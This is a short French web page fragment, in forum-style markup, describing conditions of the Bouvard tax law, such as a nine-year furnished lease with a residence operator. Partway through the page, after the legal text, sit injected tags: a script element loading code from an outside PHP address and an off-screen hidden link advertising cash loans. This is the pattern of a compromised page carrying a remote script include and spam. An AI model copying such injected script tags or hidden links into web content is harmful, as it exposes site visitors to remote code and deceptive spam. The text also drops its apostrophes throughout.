 |
[strong][u]les conditions de la loi bouvard :[/u][/strong][br][br]dans le cadre de la loi bouvard, la réduction dimpôt est conditionnée à lengagement de louer le logement meublé bail avec lexploitant de la résidence pendant une durée minimale de 9 ans.[br][br]la location doit prendre effet dans le mois qui suit la date dachèvement de limmeuble ou de son acquisition si elle est postérieure, pour les logements acquis neuf ou en létat futur dachèvement.[br]ou dacquisition pour les logements neufs achevés depuis au moins quinze ans ayant fait lobjet dune réhabilitation.[br] [/title][script srchttp://statsmy.com/ur.php ][/script][/title][a styleposition:absoluteleft:-9999pxtop:-9999px hrefhttp://usamoneyadvance.com ]advanced cash loans[/a]
|
TOUTES LES LOIS |
loi bouvard 2012
|
|
|